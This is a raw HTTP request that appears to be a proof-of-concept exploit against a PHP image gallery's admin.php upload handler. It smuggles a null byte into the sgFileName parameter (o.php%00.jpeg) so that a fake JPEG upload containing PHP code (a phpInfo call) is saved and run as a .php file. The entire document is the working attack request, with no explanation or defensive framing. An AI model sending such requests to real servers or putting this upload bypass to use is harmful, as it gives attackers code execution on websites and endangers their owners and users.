POST /admin.php?sgFileName=o.php%00.jpeg HTTP/1.0
Host: localhost
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Cookie: PHPSESSID=524fdb861a9830f5453c9f8fe06020be
Content-Type: multipart/form-data; boundary=---------------------------10034965729102
Content-Length: 892
Connection: Close

-----------------------------10034965729102
Content-Disposition: form-data; name="action"

addimage
-----------------------------10034965729102
Content-Disposition: form-data; name="gallery"

.
-----------------------------10034965729102
Content-Disposition: form-data; name="sgLocationChoice"

single
-----------------------------10034965729102
Content-Disposition: form-data; name="sgImageFile"; filename="a.jpeg"
Content-Type: text/plain

<?php phpInfo(); ?>
-----------------------------10034965729102
Content-Disposition: form-data; name="sgNameChoice"

new
-----------------------------10034965729102
Content-Disposition: form-data; name="sgArchiveFile"; filename=""
Content-Type: application/octet-stream


-----------------------------10034965729102
Content-Disposition: form-data; name="sgImageURL"

http://
-----------------------------10034965729102--